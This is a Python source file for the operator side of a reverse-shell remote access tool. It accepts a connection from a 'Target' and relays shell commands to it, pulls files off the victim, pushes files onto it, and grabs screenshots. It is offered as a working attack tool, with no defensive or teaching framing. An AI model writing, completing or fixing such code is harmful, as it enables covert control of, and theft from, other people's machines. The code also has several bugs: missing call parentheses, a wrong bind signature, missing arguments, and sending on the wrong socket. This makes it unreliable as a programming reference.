server.py

#!/usr/bin/python3  

import os 
import socket
import json
import base64
import dotenv

sock = socket.socket(socket.AF_INET , socket.SOCK_STREAM)
count = 1

def sendData(data):
    json_data = json.dumps(data)
    sock.send(json_data.encode)

def recieveData(data):
    json_data = b''
    while True:
        try:
            recv = sock.recv(1024)
            if not recv:
                break
            json_data += recv
            decoded_data = json.loads(json_data.decode())
            return decoded_data
        except ValueError as e:
            print(e)
            continue

def server():
    global sock
    global ip
    global target
    sock = socket.socket(socket.AF_INET , socket.SOCK_STREAM)
    sock.setsockopt(socket.SOL_SOCKET , socket.SO_REUSEADDR , 1)
    dotenv.find_dotenv()
    dotenv.load_dotenv()
    sock.bind( os.getenv("LOCALHOST"), os.getenv("PORT") )
    sock.listen(3)
    print("~[*]Listening...")
    target , ip = sock.accept()
    print("~[*]Target connected")
    shell()

def shell():
    global count
    while True:
        command = input(f"~[*]Shell: {ip}")
        sendData(command)
        if command == 'q':
            sock.close()
            break
        elif command[:2] == "cd" and len(command) > 1: 
            continue
        elif  command[:8] == "download":
            with open(command[9:], "wb") as file:
                result = recieveData()
                file.write(base64.b64decode(result))
        elif command[:6] == "upload":
            try:
                with open(command[7:], "rb") as file:
                    sendData(base64.b64encode(file.read))
            except:
                failed ="failed to upload"
                sendData(base64.b64decode(failed)) 
        elif command[:10] == "screenshot":
            with open("screenshot%d" % count, "wb") as screen:
                image = recieveData()
                image_decoded = base64.b64decode(image)
                if image_decoded[:4] == "[!!]":
                    print(image_decoded)
                else:
                    screen.write(image_decoded)
                    count += 1
        else:
            result = recieveData()
            print(result)

if __name__== "__main__":
    server()